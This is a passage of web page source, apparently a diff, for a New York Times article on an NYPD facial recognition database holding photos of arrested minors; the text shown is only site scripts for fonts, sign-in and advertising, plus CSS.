t.load().catch(function(){}),"loading"==t.status||"loaded"==t.status}()?"woff2":"woff");for(var c=0;c<e.length;c++){var i=e[c],l="shared"!==i?"-"+i:"",d="nyt-fontHash"+l,s="nyt-fontFace"+l,f=t[i][A],u=localStorage.getItem(d),g=localStorage.getItem(s);if(u===f.hash&&g)o(g);else{var h=function(t,e,n,a,A){return function(){r(t,e,n,a,A)}}(f.url,A,f.hash,d,s);n?h():document.addEventListener("DOMContentLoaded",h)}}};c(e),window.addEventListener("load",function(){c(n,!0)})};;_f.apply(null, [{"shared":{"woff":{"hash":"f2adc73415c5bbb437e993c14559e70e","url":"/vi-assets/static-assets/shared-woff.fonts-f2adc73415c5bbb437e993c14559e70e.css"},"woff2":{"hash":"22b34a6a6fd840943496b658184afdd3","url":"/vi-assets/static-assets/shared-woff2.fonts-22b34a6a6fd840943496b658184afdd3.css"}},"story":{"woff":{"hash":"3c668927c32fbefb440b4024d5da6351","url":"/vi-assets/static-assets/story-woff.fonts-3c668927c32fbefb440b4024d5da6351.css"},"woff2":{"hash":"acec1a902e1795b20a0204af82726cd2","url":"/vi-assets/static-assets/story-woff2.fonts-acec1a902e1795b20a0204af82726cd2.css"}},"opinion":{"woff":{"hash":"dfc5106c9c0aaa76688687e664474b04","url":"/vi-assets/static-assets/opinion-woff.fonts-dfc5106c9c0aaa76688687e664474b04.css"},"woff2":{"hash":"e2b27ff317927dfd77bdd429409627e0","url":"/vi-assets/static-assets/opinion-woff2.fonts-e2b27ff317927dfd77bdd429409627e0.css"}},"tmag":{"woff":{"hash":"4634f3c7ddebb9113b69d4578d9a0ba0","url":"/vi-assets/static-assets/tmag-woff.fonts-4634f3c7ddebb9113b69d4578d9a0ba0.css"},"woff2":{"hash":"8622c93c260fa93b229b7249df708fb1","url":"/vi-assets/static-assets/tmag-woff2.fonts-8622c93c260fa93b229b7249df708fb1.css"}},"mag":{"woff":{"hash":"109e6d301ed49c8078086b5892696adf","url":"/vi-assets/static-assets/mag-woff.fonts-109e6d301ed49c8078086b5892696adf.css"},"woff2":{"hash":"fb42c728dc70cc4ef6010a60cb10b0bd","url":"/vi-assets/static-assets/mag-woff2.fonts-fb42c728dc70cc4ef6010a60cb10b0bd.css"}},"well":{"woff":{"hash":"f0e613b89006e99b4622d88aa5563a81","url":"/vi-assets/static-assets/well-woff.fonts-f0e613b89006e99b4622d88aa5563a81.css"},"woff2":{"hash":"77806b85de524283fe742b916c9d0ee4","url":"/vi-assets/static-assets/well-woff2.fonts-77806b85de524283fe742b916c9d0ee4.css"}}},["shared","story"],["opinion","tmag","mag","well"]]); })();;(function () { function swgDataLayer(e){return!!window.dataLayer&&((window.dataLayer=window.dataLayer||[]).push({event:"impression",module:e}),!0)}function checkSwgOptOut(){if(!window.localStorage)return!1;var e=window.localStorage.getItem("nyt-swgOptOut");if(!e)return!1;var t=parseInt(e,10);return((new Date).getTime()-t)/864e5<1||(window.localStorage.removeItem("nyt-swgOptOut"),!1)}function swgDeferredAccount(e,t){return e.completeDeferredAccountCreation({entitlements:t,consent:!1}).then(function(e){var t=vi.env.AUTH_HOST+"/svc/account/auth/v1/swg-dal-web",n=e.purchaseData.raw.data?e.purchaseData.raw.data:e.purchaseData.raw,o=JSON.parse(n),a={package_name:o.packageName,product_id:o.productId,purchase_token:o.purchaseToken,google_id_token:e.userData.idToken,google_user_email:e.userData.email,google_user_id:e.userData.id,google_user_name:e.userData.name},r=new XMLHttpRequest;r.withCredentials=!0,r.open("POST",t,!0),r.setRequestHeader("Content-Type","application/json"),r.send(JSON.stringify(a)),r.onload=function(){200===r.status?(swgDataLayer({name:"swg",context:"Deferred",label:"Seamless Signin",region:"swg-modal"}),e.complete().then(function(){window.location.reload(!0)})):(e.complete(),window.location=encodeURI(vi.env.AUTH_HOST+"/get-started/swg-link?redirect="+window.location.href))}}).catch(function(){return!!window.localStorage&&(!window.localStorage.getItem("nyt-swgOptOut")&&(window.localStorage.setItem("nyt-swgOptOut",(new Date).getTime()),!0))}),!0}function loginWithGoogle(){return"undefined"!=typeof window&&(-1===document.cookie.indexOf("NYT-S")&&(!0!==checkSwgOptOut()&&(!!window.SWG&&((window.SWG=window.SWG||[]).push(function(e){return e.init(vi.env.SWG_PUBLICATION_ID),e.getEntitlements().then(function(t){if(void 0===t||!t.raw)return!1;var n={entitlements_token:t.raw};return window.swgUserInfoXhrObject.withCredentials=!0,window.swgUserInfoXhrObject.open("POST",vi.env.AUTH_HOST+"/svc/account/auth/v1/login-swg-web",!0),window.swgUserInfoXhrObject.setRequestHeader("Content-Type","application/json"),window.swgUserInfoXhrObject.send(JSON.stringify(n)),window.swgUserInfoXhrObject.onload=function(){switch(window.swgUserInfoXhrObject.status){case 200:return swgDataLayer({name:"swg",context:"Seamless",label:"Seamless Signin",region:"login"}),window.location.reload(!0),!0;case 412:return swgDeferredAccount(e,t);default:return!1}},t}).catch(function(){return!1}),!0}),!0))))}var _f=function(){if(window.swgUserInfoXhrObject.checkSwgResponse=!1,-1===document.cookie.indexOf("NYT-S")){var e=document.createElement("script");e.src="https://news.google.com/swg/js/v1/swg.js",e.setAttribute("subscriptions-control","manual"),e.setAttribute("async",!0),e.onload=function(){loginWithGoogle()},document.getElementsByTagName("head")[0].appendChild(e)}};;_f.apply(null, []); })();
+ </script>
+
+ <link data-rh="true" rel="shortcut icon" href="/vi-assets/static-assets/favicon-4bf96cb6a1093748bf5b3c429accb9b4.ico"/><link data-rh="true" rel="apple-touch-icon" href="/vi-assets/static-assets/apple-touch-icon-319373aaf4524d94d38aa599c56b8655.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" sizes="144×144" href="/vi-assets/static-assets/ios-ipad-144x144-319373aaf4524d94d38aa599c56b8655.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" sizes="114×114" href="/vi-assets/static-assets/ios-iphone-114x144-61d373c43aa8365d3940c5f1135f4597.png"/><link data-rh="true" rel="apple-touch-icon-precomposed" href="/vi-assets/static-assets/ios-default-homescreen-57x57-7cccbfb151c7db793e92ea58c30b9e72.png"/><link data-rh="true" rel="alternate" itemprop="mainEntityOfPage" hrefLang="en-US" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><link data-rh="true" rel="canonical" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.html"/><link data-rh="true" rel="alternate" href="android-app://com.nytimes.android/nytimes/reader/id/100000006583622"/><link data-rh="true" rel="amphtml" href="https://www.nytimes.com/2019/08/01/nyregion/nypd-facial-recognition-children-teenagers.amp.html"/><link data-rh="true" rel="alternate" type="application/json+oembed" href="https://www.nytimes.com/svc/oembed/json/?url=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" title="She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database."/>
+ <script data-rh="true" >
+ if (typeof testCookie === 'undefined') {
+ var testCookie = function (name) {
+ var match = document.cookie.match(new RegExp(name + '=([^;]+)'));
+ if (match) return match[1];
+ }
+ }
+</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+
+ if (testCookie('nyt-gdpr') !== '1') {
+ var gptScript = document.createElement('script');
+ gptScript.async = 'async';
+ gptScript.src = '//securepubads.g.doubleclick.net/tag/js/gpt.js';
+ document.head.appendChild(gptScript);
+ }
+ }</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+
+ var googletag = googletag || {};
+ googletag.cmd = googletag.cmd || [];
+
+ if (testCookie('nyt-gdpr') == '1') {
+ googletag.cmd.push(function() {
+ googletag.pubads().setRequestNonPersonalizedAds(1);
+ });
+ }
+ }</script><script data-rh="true" >if (window.NYTD.Abra('dfp_story_toggle') !== '1_block') {
+ (function () { var _f=function(){var t,e,o=50,n=50;function i(t){if(!document.getElementById("3pCheckIframeId")){if(t||(t=1),!document.body){if(t>o)return;return t+=1,setTimeout(i.bind(null,t),n)}var e,a,r;e="https://static01.nyt.com/ads/tpc-check.html",a=document.body,(r=document.createElement("iframe")).src=e,r.id="3pCheckIframeId",r.style="display:none;",r.height=0,r.width=0,a.insertBefore(r,a.firstChild)}}function a(t){if("https://static01.nyt.com"===t.origin)try{"3PCookieSupported"===t.data&&googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","true")}),"3PCookieNotSupported"===t.data&&googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","false")})}catch(t){}}function r(){if(function(){if(Object.prototype.toString.call(window.HTMLElement).indexOf("Constructor")>0)return!0;if("[object SafariRemoteNotification]"===(!window.safari||safari.pushNotification).toString())return!0;try{return window.localStorage&&/Safari/.test(window.navigator.userAgent)}catch(t){return!1}}()){try{window.openDatabase(null,null,null,null)}catch(e){return t(),!0}try{localStorage.length?e():(localStorage.x=1,localStorage.removeItem("x"),e())}catch(o){navigator.cookieEnabled?t():e()}return!0}}!function(){try{googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","unknown")})}catch(t){}}(),t=function(){try{googletag.cmd.push(function(){googletag.pubads().setTargeting("cookie","private")})}catch(t){}}||function(){},e=function(){window.addEventListener("message",a,!1),i(0)}||function(){},function(){if(window.webkitRequestFileSystem)return window.webkitRequestFileSystem(window.TEMPORARY,1,e,t),!0}()||r()||function(){if(!window.indexedDB&&(window.PointerEvent||window.MSPointerEvent))return t(),!0}()||e()};;_f.apply(null, []); })();
+ }</script><script data-rh="true" >(function() {
+ var AdSlot4=function(){"use strict";function D(n,i,o){var t=document.getElementsByTagName("head")[0],e=document.createElement("script");i&&(e.onload=i),o&&(e.onerror=o),e.src=n,e.async=!0,t.appendChild(e)}return function(){var A=window.AdSlot4||{};A.cmd=A.cmd||[];var b=!1;if(A.loadScripts)return A;function z(t){"art, oak"!==t&&"art,oak"!==t||(t="art"),A.cmd.push(function(){A.events.subscribe({name:"AdDefined",scope:"all",callback:function(n){var o,i=[-1];n.sizes.forEach(function(n){n[0]<window.innerWidth&&n[0]>i[0]&&(i=[]).push(n)}),i[0][1]&&window.apstag.fetchBids({slots:[{slotID:n.id,slotName:"".concat(n.id,"_").concat(t,"_web"),sizes:(o=i[0][1],Array.isArray(o)?[[300,250],[728,90],[970,90],[970,250]].filter(function(i){return o.some(function(n){return n[0]===i[0]&&n[1]===i[1]})}):(console.warn("filterSizes() did not receive an array"),[]))}]},function(){window.googletag.cmd.push(function(){window.apstag.setDisplayBids()})})}})})}return A.loadScripts=function(n){var i,o,t,e,d,a,c,s,r=n||{},w=r.loadMnet,u=void 0===w||w,l=r.loadAmazon,p=void 0===l||l,f=r.loadBait,m=void 0===f||f,v=r.section,g=void 0===v?"none":v,h=r.pageViewId,y=void 0===h?"":h,B=r.pageType,x=void 0===B?"":B;b||("1"===(c="nyt-gdpr",(s=document.cookie.match(new RegExp("".concat(c,"=([^;]+)"))))?s[1]:"")||(d=document.referrer||"",(a=/([a-zA-Z0-9_\-.]+)(@|%40)([a-zA-Z0-9_\-.]+).([a-zA-Z]{2,5})/).test(d)||a.test(window.location.href))||(!u||window.advBidxc&&window.advBidxc.isLoaded||(t=y,e="8CU2553YN",window.innerWidth<740&&(e="8CULO58R6"),D("https://contextual.media.net/bidexchange.js?cid=".concat(e,"&dn=").concat("www.nytimes.com","&https=1"),function(){window.advBidxc&&window.advBidxc.isLoaded||console.warn("Media.net not loading properly")},function(){A.cmd.push(function(){A.events.publish({name:"BidderError",value:{type:"Mnet"}})})}),window.advBidxc=window.advBidxc||{},window.advBidxc.renderAd=function(){},window.advBidxc.startTime=(new Date).getTime(),window.advBidxc.customerId={mediaNetCID:e},window.advBidxc.misc={isGptDisabled:1},t&&(window.advBidxc.misc.keywords=t)),p&&!window.apstag&&(i=g,o=x,function(o,t){function n(n,i){t[o]._Q.push([n,i])}t[o]||(t[o]={init:function(){n("i",arguments)},fetchBids:function(){n("f",arguments)},setDisplayBids:function(){},targetingKeys:function(){return[]},_Q:[]})}("apstag",window),D("//c.amazon-adsystem.com/aax2/apstag.js",function(){window.apstag||console.warn("A9 not loading properly")},function(){A.cmd.push(function(){A.events.publish({name:"BidderError",value:{type:"A9"}})})}),window.apstag.init({pubID:"3030",adServer:"googletag",params:{si_section:i}}),z(o))),m&&D("https://static01.nyt.com/ads/google/adsbygoogle.js",function(){},function(){A.cmd.push(function(){A.events.publish({name:"AdEmpty",value:{type:"AdBlockOn"}})})}),b=!0)},window.AdSlot4=A}()}();
+ AdSlot4.loadScripts({
+ loadMnet: window.NYTD.Abra('medianet_toggle') !== '1_block',
+ loadAmazon: window.NYTD.Abra('amazon_toggle') !== '1_block',
+ section: 'nyregion',
+ pageType: 'art,oak',
+ pageViewId: window.NYTD.PageViewId.current,
+ });
+ (function () { var _f=function(e){var o=performance.navigation&&1===performance.navigation.type;function t(){return window.matchMedia("(max-width: 739px)").matches}function n(e){var n,r,i,d,a,p,u=function(){var e=window.userXhrObject&&""!==window.userXhrObject.responseText&&JSON.parse(window.userXhrObject.responseText).data||null,o=null;return e&&e.user&&e.user.userInfo&&(o=e.user.userInfo.demographics),o}();return u?(r=e,d=(n=u)&&n.emailSubscriptions,(a=n&&n.bundleSubscriptions)&&r&&(r.sub="reg",d&&d.length&&(r.em=d.toString().toLowerCase()),n.wat&&(r.wat=n.wat.toLowerCase()),a&&a.length&&a[0].bundle&&(i=a[0],r.sub=i.bundle.toLowerCase(),i.source&&(r.subsrc=i.source.toLowerCase()),i.promotion&&(r.subprm=i.promotion),i.in_grace&&(r.grace=i.in_grace.toString()))),e=r):e.sub="anon",t()?(e.prop="mnyt",e.plat="mweb",e.ver="mvi"):(e.prop="nyt",e.plat="web",e.ver="vi"),"hp"===e.typ&&(document.referrer&&(e.topref=document.referrer),o&&(e.refresh="manual")),e.abra_dfp=(p=document.documentElement.getAttribute("data-nyt-ab"))?p.split(" ").reduce(function(e,o){var t=o.split("="),n=t[0].toLowerCase(),r=t[1];return(n.indexOf("dfp")>-1||n.indexOf("redbird")>-1)&&e.push(n+"_"+r),e},[]):"",e.page_view_id=window.NYTD.PageViewId&&window.NYTD.PageViewId.current,e}var r=e||{},i=r.adTargeting||{},d=r.adUnitPath||"/29390238/nyt/homepage",a=r.offset||400,p=r.hideTopAd||t(),u=r.lockdownAds||!1,s=r.sizeMapping||{top:[[970,["fluid",[728,90],[970,90],[970,250],[1605,300]]],[728,["fluid",[728,90],[1605,300]]],[0,["fluid",[300,250],[300,420]]]],fp1:[[0,[195,250]]],fp2:[[0,[195,250]]],fp3:[[0,[195,250]]],interstitial:[[0,[[1,1],[640,480]]]],mktg:[[1020,[300,250]],[0,[]]],pencil:[[728,[[336,46]],[0,[]]]],pp_edpick:[[0,["fluid"]]],pp_morein:[[0,["fluid"],[210,218]]],ribbon:[[0,["fluid"]]],sponsor:[[765,[150,50]],[0,[320,25]]],supplemental:[[1020,[[300,250],[300,600]]],[0,[]]],default:[[970,["fluid",[728,90],[970,90],[970,250],[1605,300]]],[728,["fluid",[728,90],[300,250],[1605,300]]],[0,["fluid",[300,250],[300,420]]]]},l=r.dfpToggleName||"dfp_home_toggle";window.AdSlot4=window.AdSlot4||{},window.AdSlot4.cmd=window.AdSlot4.cmd||[],window.AdSlot4.cmd.push(function(){window.AdSlot4.init({adTargeting:n(i),adUnitPath:d,sizeMapping:s,offset:a,haltDFP:"1_block"===window.NYTD.Abra(l),hideTopAd:p,lockdownAds:u}),window.NYTD.Abra.reportExposure("dfp_adslot4v2")})};;_f.apply(null, [{"adTargeting":{"edn":"us","sov":"3","test":"projectvi","ver":"vi","hasVideo":false,"template":"article","als_test":"1565027040168","prop":"nyt","plat":"web","brandsensitive":"false","org":"policedepartmentnyc","geo":"newyorkcity","des":"juveniledelinquency,facialrecognitionsoftware,privacy,surveillanceofcitizensbygovern,police,civilrightsandliberties","auth":"aliwatkins,josephgoldstein","coll":"newyork,usnews,technology,techandsociety","artlen":"medium","ledemedsz":"none","typ":"art,oak","section":"nyregion","si_section":"nyregion","id":"100000006583622","pt":"nt10,nt15,nt16,nt18,nt3,nt4,nt9","gscat":"neg_mastercard,gs_law_misc,neg_chanel,gv_crime,neg_hearts,gs_tech,gs_law,gs_tech_computing,neg_ibmtest,gs_tech_phones,neg_samsung,gs_education"},"adUnitPath":"/29390238/nyt/nyregion/","dfpToggleName":"dfp_story_toggle"}]); })();
+ })();</script><script data-rh="true" id="als-svc">var alsVariant = window.NYTD.Abra('DFP_als');
+ if (alsVariant != null && alsVariant.match(/(0_control|1_als)/)) {
+ window.NYTD.Abra.reportExposure('DFP_als');
+ }
+ if (window.NYTD.Abra('DFP_als') === '1_als') {
+ (function () { var _f=function(){window.googletag=window.googletag||{},googletag.cmd=googletag.cmd||[];var e=new XMLHttpRequest,t="prd"===window.vi.env.ENVIRONMENT?"als-svc.nytimes.com":"als-svc.dev.nytimes.com",n=document.querySelector('[name="nyt_uri"]'),o=null==n?"":encodeURIComponent(n.content),l=document.querySelector('[name="template"]'),s=document.querySelector('[name="prop"]'),a=document.querySelector('[name="plat"]'),i=null==l||null==l.content?"":l.content,c=null==s||null==s.content?"nyt":s.content,r=null==a||null==a.content?"web":a.content;window.innerWidth<740&&(c="mnyt",r="mweb"),"/"===location.pathname&&(o=encodeURIComponent("https://www.nytimes.com/pages/index.html"));var d=window.localStorage.getItem("als_test_clientside");void 0!==d&&window.googletag.cmd.push(function(){googletag.pubads().setTargeting("als_test_clientside",d)}),e.open("GET","https://"+t+"/als?uri="+o+"&typ="+i+"&prop="+c+"&plat="+r),e.withCredentials=!0,e.send(),e.onreadystatechange=function(){if(4===e.readyState)if(200===e.status){var t=JSON.parse(e.responseText);window.googletag.cmd.push(function(){void 0!==t.als_test_clientside&&(googletag.pubads().setTargeting("als_test_clientside",t.als_test_clientside),window.localStorage.setItem("als_test_clientside","ls-"+t.als_test_clientside)),Object.keys(t).forEach(function(e){"User"===e&&void 0!==t[e]&&window.localStorage.setItem("UTS_User",JSON.stringify(t[e]))})})}else{console.error("Error "+e.responseText);(window.dataLayer=window.dataLayer||[]).push({event:"impression",module:{name:"timing",context:"script-load",label:"alsService-als-error"}})}}};;_f.apply(null, []); })();
+ }
+ </script>
+ <link rel="stylesheet" href="/vi-assets/static-assets/global-42db6c8821fec0e2b3837b2ea2ece8fe.css" />
+ <style>.css-1dv1kvn{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.css-v89234{overflow:hidden;height:100%;}.css-nuvmzp{font-size:14.25px;font-family:nyt-franklin,helvetica,arial,sans-serif;font-weight:700;text-transform:uppercase;-webkit-letter-spacing:0.7px;-moz-letter-spacing:0.7px;-ms-letter-spacing:0.7px;letter-spacing:0.7px;line-height:19px;}.css-nuvmzp:hover{-webkit-text-decoration:underline;text-decoration:underline;}.css-1gz70xg{border-left:1px solid #ccc;color:#326891;height:12px;margin-left:8px;padding-left:8px;}.css-9e9ivx{display:none;font-size:10px;margin-left:auto;text-transform:uppercase;}.hasLinks .css-9e9ivx{display:block;}@media (min-width:740px){.hasLinks .css-9e9ivx{margin:none;position:absolute;right:20px;}}@media (min-width:1024px){.hasLinks .css-9e9ivx{display:none;}}.css-2bwtzy{display:inline-block;padding:6px 4px 4px;margin-bottom:12px;font-size:12px;border-radius:3px;-webkit-transition:background 0.6s ease;transition:background 0.6s ease;}.css-2bwtzy:hover{background-color:#f7f7f7;}.css-1hyfx7x{display:none;}.css-6n7j50{display:inline;}.css-1kj7lfb{display:none;}@media (min-width:1024px){.css-1kj7lfb{display:inline-block;margin-right:7px;}}.css-10m9xeu{display:block;width:16px;height:16px;}.css-vz7hjd{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;}.css-1fe7a5q{display:inline-block;height:16px;vertical-align:sub;width:16px;}.css-1rn5q1r{border:0;-webkit-clip:rect(0 0 0 0);clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;border-radius:3px;cursor:pointer;font-family:nyt-franklin,helvetica,arial,sans-serif;-webkit-transition:ease 0.6s;transition:ease 0.6s;background-color:transparent;color:#000;font-size:11px;font-weight:700;-webkit-letter-spacing:0.02em;-moz-letter-spacing:0.02em;-ms-letter-spacing:0.02em;letter-spacing:0.02em;padding:7px 9px 9px;background:#fff;display:inline-block;left:44px;text-transform:uppercase;-webkit-transition:none;transition:none;}.css-1rn5q1r:active,.css-1rn5q1r:focus{-webkit-clip:auto;clip:auto;overflow:visible;width:auto;height:auto;}.css-1rn5q1r::-moz-focus-inner{padding:0;border:0;}.css-1rn5q1r:-moz-focusring{outline:1px dotted;}.css-1rn5q1r:disabled,.css-1rn5q1r.disabled{opacity:0.5;cursor:default;}.css-1rn5q1r:active,.css-1rn5q1r.active{background-color:#f7f7f7;}@media (min-width:740px){.css-1rn5q1r:hover{background-color:#f7f7f7;}}.css-1rn5q1r:focus{margin-top:3px;padding:8px 8px 6px;}@media (min-width:1024px){.css-1rn5q1r{left:112px;}}.css-10488qs{display:none;}@media (min-width:1024px){.css-10488qs{display:inline-block;position:relative;}}.css-1iruc8t{list-style:none;margin:0;padding:0;}.css-1ropbjl::before{background-color:$white;border-bottom:1px solid #e2e2e2;border-top:2px solid #e2e2e2;content:'';display:block;height:1px;margin-top:0;}@media (min-width:1150px){.css-1ropbjl{margin:0 auto;max-width:1200px;padding:0 3% 9px;}}.NYTApp .css-1ropbjl{display:none;}@media print{.css-1ropbjl{display:none;}}.css-uw59u{padding:0 20px;}@media (min-width:740px){.css-uw59u{padding:0 3%;}}@media (min-width:1150px){.css-uw59u{padding:0;}}.css-jxzr5i{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-flow:row;-ms-flex-flow:row;flex-flow:row;}.css-oylsik{display:block;height:44px;vertical-align:middle;width:184px;}.css-1otr2jl{margin:18px 0 0 auto;}.css-1c8n994{color:#6288a5;font-family:nyt-franklin;font-size:11px;font-style:normal;font-weight:400;line-height:11px;-webkit-text-decoration:none;text-decoration:none;}.css-qtw155{display:block;}@media (min-width:1150px){.css-qtw155{display:none;}}.css-v0l3hm{display:none;}@media (min-width:1150px){.css-v0l3hm{display:block;}}.css-g4gku8{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;margin-top:10px;min-width:600px;}.css-1rr4qq7{-webkit-flex:1;-ms-flex:1;flex:1;}.css-6xhk3s{border-left:1px solid #e2e2e2;-webkit-flex:1;-ms-flex:1;flex:1;padding-left:15px;}.css-rxqrcl{color:#333;font-size:13px;font-weight:700;font-family:nyt-franklin;height:25px;line-height:15px;margin:0;text-transform:uppercase;width:150px;}.css-tj0ten{margin-bottom:5px;white-space:nowrap;}.css-tj0ten:last-child{margin-bottom:10px;}.css-ist4u3.desktop{display:none;}@media (min-width:740px){.css-ist4u3.desktop{display:block;}.css-ist4u3.smartphone{display:none;}}.css-1gprdgz{list-style:none;margin:0;padding:0;-webkit-columns:2;columns:2;padding:0 0 15px;}.css-10t7hia{height:34px;line-height:34px;list-style-type:none;}.css-10t7hia.desktop{display:none;}@media (min-width:740px){.css-10t7hia.desktop{display:block;}.css-10t7hia.smartphone{display:none;}}.css-mzqdl{color:#333;display:block;font-family:nyt-franklin;font-size:15px;font-weight:500;height:34px;line-height:34px;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;}.css-kwpx34{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:14px;font-weight:500;height:23px;line-height:16px;}.css-kwpx34:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-kwpx34{color:#fff;}.css-1k2cjfc{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:16px;font-weight:700;height:25px;line-height:15px;padding-bottom:0;}.css-1k2cjfc:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-1k2cjfc{color:#fff;}.css-1vhk1ks{color:#000;display:inline-block;font-family:nyt-franklin;-webkit-text-decoration:none;text-decoration:none;text-transform:capitalize;width:150px;font-size:11px;font-weight:500;height:23px;line-height:21px;}.css-1vhk1ks:hover{cursor:pointer;-webkit-text-decoration:underline;text-decoration:underline;}body.dark .css-1vhk1ks{color:#fff;}.css-6td9kr{list-style:none;margin:0;padding:0;border-top:1px solid #e2e2e2;margin-top:2px;padding-top:10px;}.css-r5ic95{display:inline-block;height:13px;width:13px;margin-right:7px;vertical-align:middle;}.css-15uy5yv{border-top:1px solid #ebebeb;padding-top:9px;}.css-1p8nkc0{color:#999;font-family:nyt-franklin,helvetica,arial,sans-serif;padding:10px 0;-webkit-text-decoration:none;text-decoration:none;white-space:nowrap;}.css-1p8nkc0:hover{-webkit-text-decoration:underline;text-decoration:underline;}@-webkit-keyframes animation-5j8bii{from{opacity:0;}to{opacity:1;}}@keyframes animation-5j8bii{from{opacity:0;}to{opacity:1;}}@-webkit-keyframes animation-1am0aiv{from{visibility:visible;opacity:1;}to{visibility:visible;opacity:0;}}@keyframes animation-1am0aiv{from{visibility:visible;opacity:1;}to{visibility:visible;opacity:0;}}.css-1g7m0tk{color:#326891;}.css-1g7m0tk:visited{color:#326891;}.css-d8bdto{color:#999;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:17px;margin-bottom:5px;}@media print{.css-d8bdto{display:none;}}.css-y8aj3r{padding:0;}.css-60hakz{color:#999;display:inline;margin-right:16px;padding:10px 0;width:100%;}.css-60hakz a{-webkit-text-decoration:none;text-decoration:none;}@media (max-width:659px){.css-60hakz:nth-of-type(3),.css-60hakz:nth-of-type(4){display:none;}}.css-60hakz:last-of-type{margin-right:0;}.css-i29ckm{width:calc(100% - 40px);max-width:600px;margin:1.5rem auto 2rem;}@media (min-width:1440px){.css-i29ckm{width:600px;max-width:600px;}}@media (min-width:600px){.css-i29ckm{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;-webkit-align-items:center;-webkit-box-align:center;-ms-flex-align:center;align-items:center;}}@media (max-width:600px){.css-i29ckm .facebook,.css-i29ckm .twitter,.css-i29ckm .email{display:inline-block;}}.css-acwcvw{margin-bottom:1rem;}.css-1baulvz{display:inline-block;}@-webkit-keyframes animation-f8wsfj{0%{opacity:1;}50%{opacity:0;}100%{opacity:0;}}@keyframes animation-f8wsfj{0%{opacity:1;}50%{opacity:0;}100%{opacity:0;}}@-webkit-keyframes animation-mhvv8m{0%{opacity:0;}50%{opacity:0;}100%{opacity:1;}}@keyframes animation-mhvv8m{0%{opacity:0;}50%{opacity:0;}100%{opacity:1;}}@-webkit-keyframes animation-m6999o{100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;}}@keyframes animation-m6999o{100%{-webkit-transform:rotate(360deg);-ms-transform:rotate(360deg);transform:rotate(360deg);-webkit-transform-origin:center;-ms-transform-origin:center;transform-origin:center;}}.css-i9gxme{-webkit-box-flex:1;-webkit-flex-grow:1;-ms-flex-positive:1;flex-grow:1;}@-webkit-keyframes animation-1m9j9gf{from{background-color:#f7f7f5;}to{background-color:transparent;}}@keyframes animation-1m9j9gf{from{background-color:#f7f7f5;}to{background-color:transparent;}}.css-1sy8kpn{display:none;}@media (min-width:765px){.css-1sy8kpn{background-color:#f7f7f7;border-bottom:1px solid #f3f3f3;display:block;padding-bottom:15px;padding-top:15px;margin:0;min-height:90px;}}@media print{.css-1sy8kpn{display:none;}}.css-19vbshk{color:#ccc;display:none;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.5625rem;font-weight:300;-webkit-letter-spacing:0.05rem;-moz-letter-spacing:0.05rem;-ms-letter-spacing:0.05rem;letter-spacing:0.05rem;line-height:0.5625rem;margin-left:auto;text-align:center;text-transform:uppercase;}@media (min-width:600px){.css-19vbshk{display:inline-block;}}.css-19vbshk p{margin-bottom:auto;margin-right:7px;margin-top:auto;text-transform:none;}.css-l9onyx{color:#ccc;font-family:nyt-franklin,helvetica,arial,sans-serif;font-size:0.5625rem;font-weight:300;-webkit-letter-spacing:0.05rem;-moz-letter-spacing:0.05rem;-ms-letter-spacing:0.05rem;letter-spacing:0.05rem;line-height:0.5625rem;margin-bottom:9px;text-align:center;text-transform:uppercase;}.css-79elbk{position:relative;}@-webkit-keyframes animation-1q1yk17{to{width:11px;}}@keyframes animation-1q1yk17{to{width:11px;}}@-webkit-keyframes animation-g7rb99{0%{-webkit-transform:scale(1) rotate(0);-ms-transform:scale(1) rotate(0);transform:scale(1) rotate(0);}100%{-webkit-transform:scale(1.05) rotate(-90deg);-ms-transform:scale(1.05) rotate(-90deg);transform:scale(1.05) rotate(-90deg);}}@keyframes animation-g7rb99{0%{-webkit-transform:scale(1) rotate(0);-ms-transform:scale(1) rotate(0);transform:scale(1) rotate(0);}100%{-webkit-transform:scale(1.05) rotate(-90deg);-ms-transform:scale(1.05) rotate(-90deg);transform:scale(1.05) rotate(-90deg);}}.css-k008qs{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;}.sizeSmall .css-bsn42l{width:50%;}@media (min-width:600px){.sizeSmall .css-bsn42l{width:300px;}}@media (min-width:1440px){.sizeSmall .css-bsn42l{width:300px;}}@media (max-width:600px){.sizeSmall 